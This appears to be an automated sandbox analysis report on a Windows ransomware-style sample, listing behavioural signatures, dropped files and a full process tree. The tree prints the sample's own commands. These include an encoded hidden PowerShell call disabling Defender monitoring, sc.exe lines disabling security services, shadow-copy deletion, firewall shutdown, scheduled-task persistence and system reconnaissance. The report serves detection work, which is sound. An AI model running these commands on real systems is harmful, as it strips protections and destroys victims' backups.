Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/04/2026, 18:26

General

  • Target
    2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260419-w3prbsdv8x
  • SHA256 a5d842406572bb516c47e386b5405a9fcb0070b28579efbff61ca8b72253f6dd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2936
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2224
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3308
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4608
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1300
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2460
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5112
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3612
      • C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:4872
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1436
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4036
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4236
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2152
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2140
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4612
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2228
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1712
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1472
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5068
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4268
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4688
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:3332
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1176
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3672
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1768
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:3724
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4720
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:1752
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:536
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:864
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2856
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:1436
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1604
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:1824
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4580
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:3084
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:788
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa39c0855 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:4220
                • C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:236
                  • C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:1576
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5024

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 66KB
                          • SHA256 919c831efd98a4a2447204923f8af21670ea7b316bc6395d386d186374fe2f13
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 66KB
                          • SHA256 95e09fa122157d4a013cb8ca46703695cb630f66837a2dd9c5fade23bd810e58
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-19_1925aaf56b3996f68486ec4ff329f2af_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_00zhpd1n.0jq.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00zhpd1n.0jq.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 68023dc8cdde1a7d8058752507c4e7803f9fd7a48e19c80fed07782cc5044fca
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 33f94f5054dac6ab11731ee1079a6d4901798b755830591269074d187139d4ed
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 49KB
                          • SHA256 a5d842406572bb516c47e386b5405a9fcb0070b28579efbff61ca8b72253f6dd
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/536-2254-0x000001C023B50000-0x000001C023B51000-memory.dmp

                          memory/1712-2274-0x000001461CCE0000-0x000001461CD4F000-memory.dmp

                          memory/1720-0-0x0000000000DA0000-0x0000000000DB2000-memory.dmp

                          memory/1720-2282-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2287-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2289-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2276-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2293-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2265-0x000000001D9C0000-0x000000001DA2F000-memory.dmp

                          memory/1720-2266-0x000000001DEE0000-0x000000001DEF2000-memory.dmp

                          memory/1720-3-0x000000001E6E0000-0x000000001EC08000-memory.dmp

                          memory/1720-2267-0x000000001BA80000-0x000000001BA90000-memory.dmp

                          memory/1720-2-0x000000001E310000-0x000000001E4D2000-memory.dmp

                          memory/1720-1-0x000000001BA80000-0x000000001BA90000-memory.dmp

                          memory/2936-1865-0x000001DBE2FE0000-0x000001DBE2FEA000-memory.dmp

                          memory/2936-2225-0x000001DBE3160000-0x000001DBE317C000-memory.dmp

                          memory/2936-2247-0x000001DBE3190000-0x000001DBE319A000-memory.dmp

                          memory/2936-2244-0x000001DBE3180000-0x000001DBE3186000-memory.dmp

                          memory/2936-2243-0x000001DBE3150000-0x000001DBE3158000-memory.dmp

                          memory/2936-2271-0x000001DBE2A00000-0x000001DBE2A6F000-memory.dmp

                          memory/2936-2270-0x000001DBE2AE0000-0x000001DBE2AF2000-memory.dmp

                          memory/2936-7-0x000001DBE2B30000-0x000001DBE2B52000-memory.dmp

                          memory/2936-2242-0x000001DBE31A0000-0x000001DBE31BA000-memory.dmp

                          memory/2936-2235-0x000001DBE3140000-0x000001DBE314A000-memory.dmp

                          memory/2936-1282-0x000001DBE2F20000-0x000001DBE2FD3000-memory.dmp

                          memory/2936-1235-0x000001DBE2F00000-0x000001DBE2F1C000-memory.dmp

                          memory/4612-2272-0x000001DA96460000-0x000001DA964CF000-memory.dmp

                          memory/5068-2250-0x000001BE034A0000-0x000001BE0350F000-memory.dmp